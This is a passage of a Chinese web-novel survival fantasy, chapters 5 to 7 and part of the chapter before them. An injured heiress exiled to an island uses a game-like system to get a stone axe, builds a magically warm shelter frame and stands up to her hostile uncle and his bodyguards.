雨水无情地冲刷着她脸上的污泥、汗水和血水。
怀中的蓝图卷轴湿冷沉重,紧贴着她同样冰冷的胸膛。
左小腿上覆盖的墨绿色苔藓,在暴雨的冲刷下,散发出更加浓郁的草木气息,顽强地守护着那道狰狞的伤口。
能量归零,重伤在身,痛感增幅的债务高悬头顶。
而此刻,又加上了这足以带走最后一丝体温的,狂暴冰冷的倾盆暴雨!
生存的绝境,在这一刻,被推向了顶点。
她还能活下去吗?
5. 第5章
冰冷的暴雨如同亿万根钢针,无情地攒刺着苏甜暴露在外的每一寸皮肤。
狂风卷着雨幕,发出鬼哭狼嚎般的呼啸,将天地间的一切都搅成混沌的灰白。
她蜷缩在海岬根部一处向内凹陷的狭窄岩缝里,背脊紧贴着冰冷湿滑的岩石。
尽可能将身体缩成一团,却依旧无法抵挡那刺骨的寒意和狂暴雨水的冲刷。
左小腿上覆盖的【基础止血消炎苔藓】,在暴雨的持续击打下,散发出更加浓郁的草木清香。
清凉感顽强地对抗着伤口深处传来的,被300%痛感增幅放大,如同被无数烧红钢针反复穿刺的剧痛。
每一次肌肉的轻微抽搐,每一次雨点击打在苔藓边缘的震动,都化作钻心蚀骨的折磨。
让她牙关紧咬,冷汗(早已分不清是冷汗还是雨水)混着雨水,顺着苍白的脸颊不断淌下。
怀中被雨水泡透的蓝图卷轴冰冷沉重,紧贴着她同样冰冷的胸膛,仿佛一块巨大的寒冰。
卷轴边缘被珊瑚划破的地方,墨迹晕染开来,模糊了部分线条,但核心的结构和材料要求依旧清晰可见。
庇护所!
她需要一个能遮风挡雨的庇护所!
否则不等伤口感染恶化,失温就足以在今晚夺走她的性命!
目光艰难地穿透狂暴的雨幕,投向离岩缝不远处的沙滩边缘。
那里几株在狂风中剧烈摇摆,叶片被雨水打得噼啪作响的棕榈树。
成了视线中唯一能提供“主梁”材料的来源。
它们歪歪扭扭,树干算不上粗壮,但在这种绝境下,已是唯一的选择。
砍树!
用那卷蓝图里标注的硬木主梁,撑起生存的骨架!
可是工具呢?
她只有一块边缘锋利的牡蛎壳碎片。
用它去砍坚韧的棕榈树干?
无异于蚍蜉撼树。
绝望如同冰冷的藤蔓,再次缠绕上心脏。
就在这时。
【叮!】
【检测到宿主强烈生存意志及环境需求!】
【新手引导任务(1/3)激活:使用工具采集!】
【任务要求:成功使用任意工具采集岛上原生资源(木材/石材/纤维)一次。】
【任务奖励:生态能量x10!(注:受惩罚状态影响,实际获取量减半为5点)】
冰冷的系统提示音,如同黑暗中的一道微弱烛火,瞬间点燃了苏甜眼中的光芒!
工具采集!
5点能量!
虽然杯水车薪,但这是希望!
采集什么?
木材!
目标就是那些棕榈树!
但用牡蛎壳砍树明显不现实。
任务要求是“使用工具采集”,并未限定工具种类和采集对象的大小!
苏甜的目光如同最精密的雷达,迅速扫视着岩缝附近被雨水冲刷的地面。
借着惨白闪电划破夜幕的瞬间光亮,她看到岩缝角落的碎石堆里。
散落着几根被风暴折断,相对粗硬的枯树枝。
其中一根带着一个拳头大小腐朽的树瘤。
就是它!
求生的意志,压倒了300%痛感的折磨!
苏甜猛地向前一扑,身体因为左腿的剧痛,而重重摔在冰冷的碎石和泥水里!
她毫不在意,伸出沾满污泥和血渍的手,死死抓住了那根带有树瘤的硬木枯枝!
同时,另一只手紧握着那块锋利的牡蛎壳碎片!
意念高度集中!
她将牡蛎壳最尖锐的角,狠狠抵在枯枝树瘤边缘相对松软的部位。
用尽全身力气,一下!又一下!
如同最原始的匠人,用最简陋的工具,进行着艰难的凿刻!
噗!噗嗤!
腐朽的木屑,在牡蛎壳的凿击下飞溅!
每一次发力,都牵扯着全身的伤口。
尤其是左小腿,剧痛如同高压电击,让她眼前发黑,手臂颤抖。
冰冷的雨水混合着汗水,不断流进眼睛,带来辛辣的刺痛。
但她没有停!
咬着牙,嘴唇被咬破渗出血丝也浑然不觉!
心中只有一个疯狂的念头。
凿下来!
完成采集!
咔嚓!
终于!
在牡蛎壳边缘,也崩开一个小缺口的同时。
那个腐朽的树瘤,连同周围一小块碗口大小的硬木块,被硬生生凿了下来!
【叮!新手引导任务(1/3)完成!】
【获得:生态能量x5!(惩罚减半)】
【当前能量:5点!】
成了!
5点能量!
狂喜如同强心剂,注入濒死的躯体!
苏甜甚至感觉不到伤口的剧痛了!
她毫不犹豫,意念如同离弦之箭。
狠狠撞向系统商城中那个散发着原始力量的图标【基础石斧(低耐久)】!
兑换所需50点能量!
不够!
远远不够!
就在绝望即将再次笼罩的刹那。
【新手保护机制触发(生存模式)!检测到宿主处于“重伤+失温+无庇护”复合致命危机!】
【允许临时透支:45点生态能量!】
【透支代价:该工具[基础石斧]耐久度永久性降低30%!是否确认透支兑换?】
耐久度降低30%?!
这意味着这把本就低耐久的石斧,可能砍不了多少木头就会报废!
但不换,现在就得死!
“确认!兑换!!!”苏甜在意识中发出无声的嘶吼!
【透支成功!兑换完成!】
手中那根刚凿下树瘤的硬木枯枝,猛地一沉!
一股冰冷、粗糙、沉甸甸的触感,瞬间包裹了握柄的位置!
低头看去,只见枯枝的一端,如同变魔术般“生长”出了一块被打磨成粗糙楔形,边缘闪烁着冷硬光泽的深灰色石片!
石片被坚韧的藤蔓(系统自带?)以最原始的方式,一圈圈紧紧捆绑固定在木柄顶端!
【基础石斧】!
到手了!
原始充满力量感的造型,握在手中沉甸甸的分量。
那粗糙石刃上传来的冰冷触感,让苏甜几乎要热泪盈眶!
这是生存的火种!
是劈开绝境的希望!
她挣扎着,用石斧撑地。
忍着左腿撕裂般的剧痛,艰难地从泥水里爬起来。
冰冷的暴雨疯狂地冲刷着她,也冲刷着石斧上沾染的污泥,露出下方冷硬的石质本色。
目标最近的那棵看起来最细弱,在风雨中摇摆得最厉害的棕榈树!
苏甜拖着伤腿,一瘸一拐地冲进狂暴的雨幕,扑到那棵棕榈树下。
没有丝毫犹豫,她双手紧握石斧粗糙的木柄,高高举起!
用尽全身的力气,将所有的恐惧、绝望、仇恨和求生的渴望,都灌注在这一击之中!
呼!
石斧带着破风声,狠狠劈砍在棕榈树潮湿坚韧的树干上!
砰!
一声沉闷的撞击!
巨大的反震力顺着木柄传来,震得苏甜双臂发麻,虎口剧痛。
左小腿的伤口,更是传来一阵让她眼前发黑的撕裂痛楚!
石斧只在灰褐色的树皮上,留下了一道浅浅的白痕!
好硬!
但她没有停顿!
咬紧牙关,无视虎口的疼痛和身体的抗议,再次抡起石斧!
砰!
砰!
砰!
一下!又一下!
原始的劈砍声,在狂风暴雨的咆哮中显得如此微弱,却又如此顽强!
汗水(还是雨水?)混合着流进眼睛,模糊了视线。
冰冷的雨水顺着头发、脸颊、脖颈不断流下,带走宝贵的体温。
左腿的剧痛,如同跗骨之蛆,每一次发力都像是踩在烧红的刀尖上!
但她不能停!
机械地重复着举起,劈砍的动作。
虎口很快被粗糙的木柄磨破,渗出的鲜血混着雨水染红了斧柄。
手臂酸胀得如同灌满了铅,肺部灼烧般疼痛。
石斧的劈砍效率远比想象中低,每一次都只能砍进去一点点深度。
效率低下,但有效!
树干上那道白痕在一点点加深,变宽!
不知劈砍了多少下,树干终于被砍出了一个明显的缺口!
苏甜心中涌起一丝希望,更加拼命地挥动石斧!
缺口在缓慢而坚定地扩大!
就在这时。
“住手!你在干什么?!”
一声暴怒的厉喝如同惊雷,穿透雨幕,在苏甜身后炸响!
保镖甲浑身湿透,如同愤怒的黑色铁塔,顶着狂风暴雨大步冲了过来!
冰冷的雨水,顺着他阴沉的脸颊往下淌,眼中燃烧着被冒犯的熊熊怒火!
他显然是被这持续的劈砍声惊动了。
“破坏家族财产!谁给你的胆子?!”
保镖甲冲到近前,巨大的身影投下浓重的压迫阴影,他伸手就朝苏甜手中紧握的石斧狠狠抓去!
动作又快又狠,带着不容置疑的强权!
苏甜心中警铃大作!
石斧是她唯一的希望,绝不能被夺走!
在保镖甲的手即将抓住斧柄的瞬间,她猛地将身体向后一缩。
同时将石斧死死抱在怀里,如同护住幼崽的母兽!
动作牵扯到左腿伤口,剧痛让她闷哼一声,脸色瞬间惨白如纸。
但她强忍着剧痛,猛地抬起头!
那双被雨水冲刷得异常清亮的杏眼,此刻不再有丝毫的柔弱和恐惧,只剩下冰冷的锐利和毫不退让的倔强!
她迎着保镖甲暴怒的目光,声音嘶哑却异常清晰,每一个字都像冰冷的石子砸在雨水中。
“破坏?根据产权转让协议附件第七条[使用权暂归乙方(苏甜)所有,所有权最终归属待家族裁决]!”
“我现在是使用权人!我砍的是[所有权待定]的树!是为了搭建基本生存庇护所!”
“为了活下去!这岛上的一草一木,在裁决下来前,都还不是苏家的[财产]!”
“我用自己的[使用权],争取生存的权利,何来破坏?!”
清晰!有力!直指核心!
保镖甲伸出的手,僵在了半空中!
脸上的暴怒瞬间凝固,取而代之的是一种被当众戳破,强权逻辑的错愕和憋闷!
附件第七条!
这条被家族用来搪塞,模糊产权的条款,此刻竟成了这个“花瓶”反击的武器!
他张了张嘴,想反驳,想用武力强行压制。
但在对方那冰冷锐利的目光和清晰的条款引用下,一时竟找不到合适的话!
家族内部那些模糊的指令和“待定”的说辞,此刻成了最大的绊脚石。
“你强词夺理!”保镖甲憋了半天,脸色铁青地挤出一句。
就在这僵持的,充满火药味的瞬间。
咔嚓!
一声令人牙酸的木头内部断裂的脆响,突然从那棵被
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苏甜砍了无数斧的棕榈树内部传出!
紧接着。
轰!哗啦啦!
那棵本就摇摇欲坠,被虫蛀得千疮百孔的棕榈树。
在狂风暴雨的肆虐和苏甜劈砍的累积伤害下,再也支撑不住!
庞大的树冠带着巨大的声势,朝着保镖甲和苏甜所在的方向,轰然倒塌下来!
“小心!”一直沉默跟在后面、被眼前对峙惊住的保镖乙,下意识地大喊一声。
苏甜和保镖甲都本能地向后急退!
巨大的树冠裹挟着狂风暴雨,重重砸在两人刚才站立位置的旁边,溅起大片浑浊的泥水!
断裂的树干根部暴露在暴雨中,截面呈现出一种令人触目惊心,如同烂棉絮般的黑褐色腐朽!
密密麻麻的虫蛀孔洞清晰可见,甚至能看到几条肥白的幼虫在雨水冲刷下扭动!
空气瞬间死寂,只剩下暴雨的喧嚣。
保镖甲看着那截腐朽发黑的树干断面,脸色由铁青转为一阵红一阵白,如同被人狠狠抽了一记耳光。
保镖乙走上前,蹲下身仔细看了看断裂处,又用手掰了掰一块朽木,那木头如同烂泥般碎裂开来。
他抬起头,声音不大,却清晰地穿透雨幕,带着一种陈述事实的平静。
“头儿,这树确实烂透了。就算不砍,这场风雨也撑不过去。”
保镖乙的话,如同最后一根稻草,彻底压垮了保镖甲强撑的气势。
他死死盯着那腐朽的树干,又猛地转向依旧紧抱着石斧,脸色惨白却眼神倔强的苏甜。
嘴唇哆嗦着,最终只从牙缝里挤出一句充满憋屈和挫败的低吼。
“算你走运!给我安分点!”
说完,他狠狠一跺脚,溅起一片泥水。
头也不回地大步冲回礁石下的篝火处,背影僵硬得如同即将爆发的火山。
保镖乙看了一眼苏甜,又看了看她怀里沾满污泥的石斧,以及她那被雨水冲刷得更加惨白,却依旧挺直的脊梁。
眼神复杂地闪烁了一下,最终什么也没说,沉默地转身跟上了保镖甲。
危机,暂时解除。
苏甜紧绷的神经猛地一松,剧烈的疼痛和透支的疲惫如同潮水般瞬间将她淹没。
她拄着石斧,身体晃了晃,差点栽倒。
看着眼前倒塌的棕榈树,她眼中没有丝毫胜利的喜悦,只有一片冰冷的疲惫和急迫。
没时间休息!
她拖着那条痛得快要失去知觉的左腿,扑到倒塌的树干旁。
石斧再次扬起!
这一次,目标明确。
截取四根相对笔直,腐朽程度较轻的树干作为主梁!
砰!砰!砰!
原始而沉重的劈砍声,再次在暴雨中响起,混杂着木材断裂的脆响。
每一次挥动石斧,都伴随着左腿伤口,被撕裂般的剧痛和虎口伤处被摩擦的刺痛。
汗水早已流干,只剩下冰冷的雨水和身体深处透出的寒意。
体力在飞速流逝,手臂沉重得如同不属于自己。
但她不能停!
骨架!
她需要骨架!
咔嚓!咔嚓!
一根,两根,三根。
当第四根树干被艰难地截取下来时,苏甜几乎已经虚脱。
她拄着石斧,剧烈地喘息着,眼前阵阵发黑,冰冷的雨水顺着下巴不断滴落。
拖着四根湿漉漉,沉甸甸的树干,在暴雨如注的沙滩上。
按照脑海中蓝图标注的角度和位置,用尽最后一丝力气。
将它们狠狠地,深深地插进松软的沙地里!
歪歪扭扭,并不规整。
然后,她扑倒在冰冷的沙滩上,摸索着扯下身边那些被风雨摧残得垂落的坚韧藤蔓。
用颤抖的,被磨破流血的手指,将四根主梁在关键的连接点处,一圈又一圈地死死捆绑固定!
不够牢固?
就用旁边被海浪冲刷上来的棱角锋利的石块,死死卡在连接处,再用藤蔓勒紧!
狂风在怒号,暴雨在肆虐。
海浪在不远处咆哮着,一次次试图冲上沙滩,舔舐着那刚刚立起的骨架。
苏甜跪在冰冷的泥水里,用尽最后一点力气,将最后一块石头卡进藤蔓的缝隙,死死勒紧!
终于!
一个歪歪扭扭,在狂风暴雨中剧烈摇晃,仿佛下一秒就要散架的简陋四边形骨架。
如同一个不屈的宣言,顽强地矗立在了这片被苏家遗弃的死寂沙滩上!
骨架立起来了!
苏甜再也支撑不住,身体一软,重重地瘫倒在骨架旁边的泥水里。
冰冷的雨水,无情地冲刷着她伤痕累累的身体。
左小腿上,墨绿色的苔藓在暴雨冲刷下边缘泛白,伤口深处传来持续不断的被300%增幅的剧痛。
石斧脱手掉在一边,斧刃的石片边缘,赫然已经出现了几道细微的裂纹(耐久度永久降低30%的代价显现)。
骨架有了,可它四面透风,毫无遮蔽!
冰冷的暴雨,依旧无情地浇灌着她,带走她仅存的热量。
头顶,那架苏家的无人机不知何时又降低了高度。
幽绿的指示灯,在狂暴的雨幕中如同鬼火般闪烁。
猩红的光点,似乎正缓缓移向这片刚刚立起的“违章建筑”。
庇护所,还差最后一步,屋顶!
她颤抖着,用沾满污泥和血迹的手。
摸向怀中那个同样被雨水浸透,却依旧散发着微弱生命气息的【固沙海草种】小布袋。
希望,就在这小小的布袋里吗?
6. 第6章
暴雨在黎明前终于耗尽最后的力气,变成了淅淅沥沥的冰冷雨丝。
天空依旧是铅灰色的,沉重地压在波涛汹涌的海面上。
苏甜蜷缩在四根歪斜主梁构成的骨架下,身体因为寒冷和持续不断的剧痛,而微微颤抖。
左小腿伤口上,覆盖的苔藓在雨水的反复冲刷下,颜色变得浅淡,边缘微微卷起。
但那股奇异的清凉感,依旧顽强地守护着伤口深处,压制着被300%增幅的痛楚。
怀中的石斧冰冷粗糙,斧刃边缘那几道细微的裂纹,无声诉说着透支的代价。
骨架四面透风,冰冷的湿气无孔不入,仅能提供一点点象征性的心理安慰。
她紧握着那个装着【固沙海草种】的小布袋,如同握着最后的希望火种。
屋顶?
没有屋顶,这骨架就只是个风雨中的刑架。
疲惫如同沉重的铅块,拖拽着她的意识向下沉沦。
就在她眼皮沉重得快要合上时。
嗡!突突突!
一阵远比直升机更加嚣张、更加刺耳的引擎轰鸣声,如同蛮横的入侵者,粗暴地撕裂了雨后清晨的寂静。
由远及近,迅速放大!
苏甜猛地睁开眼,心脏瞬间揪紧!
不是直升机的声音!
是快艇!
而且不止一艘!
她挣扎着坐起,透过骨架的缝隙,警惕地望向海面。
只见一艘线条流畅,涂装漆黑锃亮的豪华快艇,如同海上的黑色利箭,嚣张地破开灰蒙蒙的海浪。
无视浅滩的警告,以一个极其蛮横的姿态,高速冲上了苏甜刚刚建立骨架的这片沙滩!
船底刮擦着粗粝的砂砾,发出刺耳的摩擦声,激起大片浑浊的泥浆水花。
最后船头高高昂起,像条搁浅的鲨鱼般,斜斜地卡在了湿软的沙滩上。
快艇舱门打开。
一个肥胖的身影率先探了出来,裹着一身剪裁考究,却在雨后潮湿空气中显得格外累赘的昂贵深灰色西装。
他手里撑着一把格格不入,印着奢侈品牌logo的大黑伞,试图遮挡那烦人的雨丝。
锃亮的黑色鳄鱼皮鞋,小心翼翼地探出,试图踩在相对干燥的沙地上。
然而,他显然高估了这片被暴雨蹂躏过的沙滩。
噗嗤!
锃亮的鞋尖,毫无悬念地深深陷入了湿软粘稠的泥泞之中!
昂贵的鳄鱼皮,瞬间被肮脏的黑泥糊满,一直淹没到脚踝!
“妈的!什么鬼地方!连块像样的落脚地都没有!一群废物!”
苏振业。苏甜的大伯,苏家目前的实权派之一。
那张肥胖油腻的脸上,瞬间布满了暴怒和嫌恶。
对着快艇驾驶舱的方向破口大骂,声音尖刻刺耳,在空旷的海滩上回荡。
他身后,两名同样西装革履,但明显是保镖兼助理的男人敏捷地跳下快艇。
试图上前搀扶,却被他烦躁地一把甩开。
他气急败坏地拔出深陷泥潭的脚,昂贵的皮鞋已经变成了两个沾满污泥的沉重负担。
每走一步都在沙滩上留下一个狼狈不堪的深坑,发出“吧唧,吧唧”的恶心声响。
保镖甲和保镖乙早已闻声从礁石下跑了过来,垂手肃立在一旁,大气不敢出。
苏振业撑着伞,深一脚浅一脚,像只笨拙的胖企鹅,带着一身低气压,径直朝着苏甜和她那简陋的骨架走来。
他嫌恶地扫视着这片泥泞、荒凉、死气沉沉的海滩,目光最终如同打量垃圾般。
落在了那四根歪歪扭扭,沾满泥水,在冷风中显得无比寒酸的主梁上。
“呵。”一声充满鄙夷和嘲讽的嗤笑,从苏振业肥厚的嘴唇里挤出。
他走到骨架前,用伞尖毫不客气地戳了戳其中一根主梁,沾上了湿漉漉的泥浆,更是让他眉头紧锁。
“这他妈的,就是你的[反省]成果?”
苏振业的声音拔高,充满了刻薄的讥讽,肥胖的脸上肥肉抖动,唾沫星子几乎要喷到苏甜脸上。
“乞丐棚!连狗窝都不如!苏家的脸都让你这个废物丢尽了!被发配到这种鸟不拉屎的地方,还能搞出这种破烂玩意儿,真是烂泥扶不上墙!”
他越说越气,似乎觉得光是言语的侮辱,还不够泄愤。
看着苏甜蜷缩在骨架下,满身污泥,脸色惨白,如同落汤鸡般的狼狈模样。
再看看眼前这碍眼的“乞丐棚”,一股邪火直冲脑门。
“碍眼的东西!”
他猛地抬起那只沾满污泥的昂贵鳄鱼皮鞋,带着十足的恶意和泄愤的力道。
狠狠一脚踹向骨架最外侧,也是看起来最不结实的那根主梁底部!
“给我倒!”
就在那沾满污泥的锃亮鞋尖,即将接触到潮湿主梁的瞬间。
嗡。
一声极其轻微却异常清晰的嗡鸣,仿佛从主梁内部发出,又像是空气被瞬间加热产生的震荡!
以鞋尖接触点为圆心,一圈肉眼几乎难以察觉,如同水波涟漪般的淡金色微光,骤然在主梁表面荡漾开来!
那光芒转瞬即逝,快得让人以为是错觉。
但紧接着。
“嗷!!!”
一声杀猪般的凄厉惨叫,猛地从苏振业喉咙里爆发出来!
他触电般猛地缩回脚,肥胖的身体因为突如其来的剧痛而失去平衡。
一个趔趄向后摔倒,狼狈地一屁股坐在了泥泞的沙滩上!
手中的奢侈品牌黑伞也脱手飞出,滚落一旁。
“烫!烫死我了!!”苏振业抱着那只踹梁的右脚。
疼得浑身肥肉乱颤,脸色由红转白,额头上瞬间布满了豆大的冷汗!
他惊恐地看向自己的鞋尖,只见那原本锃亮的鳄鱼皮鞋尖头处,赫然出现了一片焦黑的灼痕!
边缘,甚至还在冒着缕缕细微的青烟!
一股蛋白质烧焦的糊味,隐隐传来!
“怎么回事?!”
“苏总!”
快艇上下来的保镖和礁石旁的保镖甲乙都惊呆了,慌忙冲上前去搀扶。
苏振业被保镖七手八脚地从泥地里拽起来,惊魂未定。
又惊又怒地指着,那根看起来平平无奇,甚至有些腐朽的主梁,声音都变了调。
“这鬼东西!烫!烫死人了!有古怪!肯定有古怪!”
所有人的目光,瞬间聚焦到苏甜身上,充满了惊疑和审视。
苏甜蜷缩在骨架下,抬起那张沾满污泥,依旧惨白的小脸。
眼神里恰到好处地布满了茫然,惊恐和无辜,声音虚弱又带着一丝颤抖。
“烫,烫吗?我不知道,可能是昨晚暴雨淋透了木头里面,生了什么怪虫子?或者被雷劈过有静电?”
她的解释苍白无力,甚至有些语无伦次,完全符合一个被吓坏又百口莫辩的“废物”形象。
苏振业看着苏甜那副“蠢笨无知”的样子,再看看自己焦黑的鞋尖和依旧火辣辣疼痛的脚趾。
邪火在胸腔里熊熊燃烧,却无处发泄!
他总不能承认自己被一根破木头烫了脚吧?
那更丢人!
他的目光如同毒蛇般在苏甜身上扫过,最终落在了她紧握在手中,那个被污泥沾染了一半鼓鼓囊囊的【固沙海草种】小布袋上。
袋口因为之前的紧握而微微敞开,几粒极其细小却散发着微弱青绿荧光的种子若隐若现。
一种奇异充满生机的气息,若有若无地散发出来,与周围死寂的环境格格不入。
贪婪和狐疑的光芒,在苏振业的小眼睛里一闪而过。
但他很快掩饰住,只是狠狠地瞪了苏甜一眼,又嫌恶地看了一眼那简陋的骨架和这片泥泞的海滩。
仿佛多待一秒都会脏了他的鞋。
“废物!烂泥扶不上墙!就在这破岛上烂着吧!”
他气急败坏地咒骂着,在保镖的搀扶下,深一脚浅一脚地朝着他那艘搁浅的豪华快艇走去,每一步都带着被冒犯的屈辱和无处发泄的怒火。
“走!立刻离开这个鬼地方!”苏振业咆哮着,被保镖簇拥着登上快艇。
快艇驾驶员连忙发动引擎。
嗡,突突突。
咔!咔咔!噗。
引擎发出几声有气无力的呻吟,突突了几下,排气管冒出一大股浓黑的油烟,然后彻底熄火了!
任凭驾驶员如何拧动钥匙,快艇都像条死鱼一样,趴在泥泞的沙滩上,纹丝不动!
“废物!一群废物!连个船都开不好?!”苏振业的咆哮声几乎掀翻了快艇的顶棚。
保镖和驾驶员手忙脚乱地检查。
很快,一个保镖脸色难看地从引擎舱探出头,声音发干。
“苏总,引擎进水了。而且有泥沙卡进了关键部件,一时半会儿修不好。”
“什么?!”苏振业如遭雷击,肥胖的身体晃了晃。
脸色瞬间由暴怒转为铁青,再由铁青转为绝望的死灰。
他猛地扭头,望向那片灰蒙蒙的大海和荒凉的岛屿。
再看看自己深陷泥泞的昂贵皮鞋和动弹不得的快艇。
一股被老天爷戏耍的荒谬感和深切的恐惧感,第一次如此清晰地攫住了他。
被迫留宿!
在这个他刚刚唾弃的,鸟不拉屎的鬼地方!
保镖们无奈,只能从快艇上搬下备用的高档帐篷,睡袋和一些应急物资,在远离苏甜骨架靠近礁石的一块相对“干燥”的高地,手忙脚乱地搭建起来。
夜色,再次如同浓稠的墨汁,沉沉地覆盖了岛屿。
冰冷的雨丝,不知何时又悄然飘落。
苏振业坐在他那顶价值不菲,却因为地面不平而显得歪歪扭扭的
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帐篷里,对着卫星电话气急败坏地咆哮。
咒骂着天气,咒骂着岛屿,咒骂着快艇,咒骂着保镖的无能,唯独不敢再提那根“烫脚”的木头。
保镖们守在帐篷外,如同沉默的雕像,气氛压抑得令人窒息。
而在那简陋的骨架下,苏甜依旧蜷缩着。
身体的寒冷和伤口的剧痛,并未减轻分毫。
她冷眼看着远处帐篷里透出的微弱灯光和隐约传来的咆哮,嘴角勾起一丝冰冷的弧度。
就在这时。
沙沙。
极其轻微的脚步声,踩在湿软的沙地上,从骨架的阴影侧后方传来。
苏甜瞬间警觉,全身肌肉绷紧!
是苏振业的人?
来报复?
一个高大的黑影,如同融入夜色的幽灵,悄无声息地出现在骨架旁。
是保镖甲!
他脸上没有任何表情,目光锐利地扫视了一下四周,确认无人注意后,动作快如闪电!
一个沉甸甸,带着冰冷金属触感的物体,被他猛地塞进了苏甜紧握石斧的手中!
苏甜低头,借着极其微弱的天光,看清了手中的东西。
一把带鞘的□□!
黑色磨砂的刀鞘,线条硬朗,入手沉甸甸的,散发着冰冷的杀伐气息。
“拿着!”保镖甲的声音压得极低,如同耳语,却带着不容置疑的冷硬。
“别死!至少别死在产权协议生效前!他怕这个!明白吗?”
他的目光如同鹰隼,在苏甜沾满污泥的脸上停留了一瞬。
带着一种复杂,难以解读的意味。
说完,不等苏甜有任何反应,他如同出现时一样,迅速而无声地退入黑暗之中,消失不见。
别死,他怕产权协议废掉?
苏甜紧握着手中冰冷的匕首,指关节因为用力而发白。
刀鞘坚硬的棱角硌着掌心,带来清晰的痛感和冰冷的真实感。
保镖甲的话,像一把钥匙,瞬间打开了她心中某个疑惑的锁扣。
苏振业今天的突然造访,刻薄打压后的匆匆离去,被困后的气急败坏,原来根源在这里!
那份模糊的“附件第七条”,那份“产权待定”的协议,是她目前最大的护身符!
苏振业怕她死在这里,导致协议彻底失效,家族失去对岛屿的模糊控制权!
匕首,既是防身的工具,也是一个冰冷的警告和提示。
苏甜将匕首紧紧贴着小腹藏好,冰冷的金属触感让她混乱的思绪稍稍清晰。
她重新蜷缩回骨架下,身体依旧冰冷疼痛。
然而,就在她无意间将受伤的左腿靠近一根主梁时。
一股奇异,难以言喻的温暖感,如同冬日里贴近了微温的暖炉,悄然从主梁接触的腿部皮肤处传来!
不是错觉!
苏甜猛地一怔!
她小心翼翼地挪动身体,试探着将背部、手臂,都轻轻贴向那几根歪斜的主梁。
温暖!
一种恒定而舒适的,大约25℃左右的温暖,如同无形的屏障,从主梁内部散发出来,温柔地将她包裹!
骨架内那潮湿阴冷的空气,仿佛被一股无形的力量隔绝,驱散!
虽然骨架四面透风,冰冷的雨丝依旧能飘落进来打湿她的头发和衣服。
但身体核心部位紧贴主梁的地方,那股深入骨髓的寒意,竟然被这奇异的温暖大大缓解了!
是那些藤蔓?
还是捆绑的石块?
不,都不像!
是主梁本身?
那普通的,甚至有些腐朽的棕榈树干?
苏甜惊疑不定地看着这几根在夜色中沉默矗立的歪斜木头。
白天苏振业被烫伤的诡异一幕,和此刻这隔绝湿冷的温暖,在她脑海中交织碰撞。
系统蓝图,被动防御?环境调节?
她猛地想起蓝图卷轴上那些复杂的节点符号和标注,其中似乎有关于“能量节点”、“基础环境稳定”之类的模糊描述。
难道。
她下意识地抱紧了怀中的【固沙海草种】小布袋。
屋顶,必须尽快弄好屋顶!
配合这神奇的骨架,才能形成真正的庇护!
远处,苏振业高档帐篷的方向,传来他因为帐篷接缝处开始漏雨而发出更加暴躁的咒骂和摔打东西的声音。
保镖们低声劝慰和修补的动静,在雨声中显得格外忙碌。
而在简陋的骨架下,苏甜紧握着冰冷的匕首,感受着身下主梁传来恒定而舒适的温暖。
身体的疼痛和寒冷依旧存在,但一股微弱却无比坚定的暖流。
伴随着匕首的冰冷和种子的希望,悄然在她冰冷的胸腔里流淌开来。
骨架无声矗立,在冰冷的夜雨和远处帐篷的喧嚣中,沉默地散发着它不为人知的神异微光。
7. 第7章
暴雨砸在裸露的骨架上,如同无数冰冷的鞭子抽打。
借着呼啸的狂风,狠狠抽打着这片泥泞的海滩,也抽打在苏甜单薄的身体上。
骨架在风雨中发出不堪重负的呻吟,每一次剧烈的摇晃都牵动着她左腿的伤口。
剧痛如同跗骨之蛆,在冰冷的湿气里疯狂啃噬。
她蜷缩在四根歪斜主梁构成的狭小空间里,紧紧抱着那个装着【固沙海草种】的小布袋,如同抱着溺水者最后的浮木。
每一次呼吸都带着浓重的水汽和彻骨的寒意。
身上那件早已被泥水和雨水浸透、看不出原本颜色的单薄裙子,紧紧贴在皮肤上。
带来冰冷黏腻的触感,吸走了最后一点残存的热量。
牙齿不受控制地咯咯作响,身体的颤抖仿佛永无止境。
紧贴主梁的部位,传来恒定而舒适的暖意。
那是这绝望境地中唯一的慰藉,但这温暖的范围太小了。
根本无法驱散全身的寒冷,更无法阻止雨水从四面八方无情地灌入。
头顶,是灰暗、狂暴、仿佛永远也不会停歇的天空。
雨水穿过稀疏的棕榈叶“屋顶”雏形,那几根孤零零搭在横梁上的枝条。
几乎毫无遮拦地砸落在她身上、脸上,冰冷刺骨。
骨架之外,世界一片混沌的灰白,海浪的咆哮与风雨的嘶吼交织成末日的乐章。
“废物!一群没用的东西!连个帐篷都补不好!养你们吃干饭的吗?!”
远处,苏振业那顶价值不菲的高档帐篷方向。
再次传来他气急败坏的咆哮,夹杂着保镖们唯唯诺诺的应和声和更密集的雨点砸在帆布上的噼啪声。
显然,那顶昂贵的帐篷,也在这狂暴的天威下败下阵来,漏水了。
这声音如同火上浇油,让苏甜心头最后一点犹豫也彻底烧成了灰烬。
不能再等了!
没有屋顶,这骨架就是个风雨中的刑架。
别说恢复伤口,她连今晚都未必能熬过去!
苏振业带来的匕首紧紧贴着小腹,冰冷的金属触感此刻却像一块烙铁,烫得她心头一紧。
保镖甲那句“别死!他怕产权协议废了!”如同魔咒,在耳边反复回响。
活下去,是唯一的出路,也是最好的反击!
她猛地吸了一口气,混杂着雨腥味和泥土气息的冰冷,空气灌入肺腑,带来一阵短暂的清明。
身体的颤抖奇迹般地止住了,只剩下一种孤注一掷的冰冷决绝。
那双被雨水冲刷得有些模糊的杏眼,此刻亮得惊人,穿透雨幕,死死盯住头顶那几根横梁。
就是现在!
苏甜咬紧牙关,忍着左腿撕裂般的剧痛,猛地从冰冷湿透的沙地上撑起身体。
动作牵扯到伤口,让她眼前一阵发黑,差点又摔回去。
她死死抠住身边一根湿滑的主梁,粗糙的树皮磨砺着掌心。
带来尖锐的痛感,却也让她更加清醒。
她像一只受伤但凶性未泯的小兽,手脚并用地开始攀爬这简陋的骨架。
骨架在狂风中摇晃得厉害,湿透的木梁滑不留手。
每一次向上挪动,都伴随着巨大的痛苦和摇摇欲坠的危险。
冰冷的雨水劈头盖脸地砸下,模糊了她的视线。
灌进她的口鼻,让她几乎窒息。
但她不管不顾,只凭着胸口那股燃烧的狠劲,一点一点,艰难地向上挪动。
终于,爬上摇晃的横梁。
狂风几乎将她掀下去!
她立刻俯低身体,像壁虎一样紧紧贴住粗糙的木梁,心脏在胸腔里疯狂擂动。
横梁在脚下剧烈地颠簸着,仿佛随时会断裂。
雨水疯狂地冲刷着她的脊背,冰冷刺骨。
苏甜用尽全身力气稳住身体,颤抖着从怀里掏出那个被体温和雨水浸得微温的小布袋【固沙海草种】。
袋口被粗暴地撕开。
里面是密密麻麻、细如尘埃的种子。
